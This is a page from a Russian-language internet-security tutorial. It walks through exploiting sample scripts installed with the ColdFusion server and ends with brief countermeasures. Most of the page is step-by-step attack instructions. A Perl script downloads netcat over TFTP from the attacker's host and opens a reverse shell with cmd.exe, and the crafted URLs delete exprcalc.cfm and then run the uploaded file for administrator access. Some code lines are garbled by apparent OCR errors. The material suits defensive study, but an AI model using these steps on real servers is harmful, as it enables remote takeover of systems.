Иллюстрированный самоучитель по защите в Интернет

Уязвимость активных страниц сервера

Изъяны сервера ColdFusion

Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом.

Первая из проблем связана с устанавливаемым по умолчанию файлом opnfile.cfm. Этот файл позволяет взломщику загрузить на Web-сервер любой файл. Другой файл, displayopenedfile.cfm, помещает этот файл в окно браузера. Кроме того, exprcalc.cfm анализирует загруженный файл и удаляет его (во всяком случае, он для этого предназначен). Используя только файл openfile.cfm, можно ввести систему в заблуждение, чтобы она не удаляла загруженный файл, а затем выполнить локально любую команду. Чтобы воспользоваться этой возможностью, выполните следующие действия.

  1. Создайте файл, который при загрузке на удаленный Web-сервер приведет к выполнению локальной команды. Например, можно воспользоваться следующим сценарием Perl с именем test.pl.
    systemC'tftp – i 192.168.51.100 GET nc.exe");
    system("nc-e cmd.exe 192.168.51.100 3000");
    

    Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl.

  2. Задайте в браузере следующий адрес URL.
    http://192.168.51.101/cfdocs/expeval/openfile.cfm
    
  3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК.
  4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом.
    http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout=
    2000&OpenFilePath-D:\lNETPOB\WWWROOT\cfdocs\expeval\exprcalc.cfm
    
  5. В окне должно появиться содержимое файла exprcalc.cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе.
  6. Проделав еще раз описанные действия, загрузите повторно файл test.pl на удаленную систему. После этого данный файл (test.pl) будет ожидать вызова.
  7. С помощью следующего URL запустите файл test.pl.
    http://192.168.51.101/cfdocs/expeval/test.pl
    
  8. Если перед этим были запущены сервер TFTP и утилита netcat, то должно появиться следующее приглашение (т.е. командная строка, позволяющая выполнять команды с правами администратора).
    С:\>nс – 1 – р 3000
    Microsoft(R) Windows NT(TM)
    (С) Copyright 1985-1996 Microsoft Corp.
    D:\INETPUB\WWWROOT\cfdocs>
    

Контрмеры против использования изъянов сервера Cold Fusion

Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:

  • Удалите все уязвимые сценарии.
  • Примените к файлу exprcalc.cfm модуль обновления, который можно найти по адресу http://www.allaire.com/handlers/index.cfm?ID=8727&Method=Full.
Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.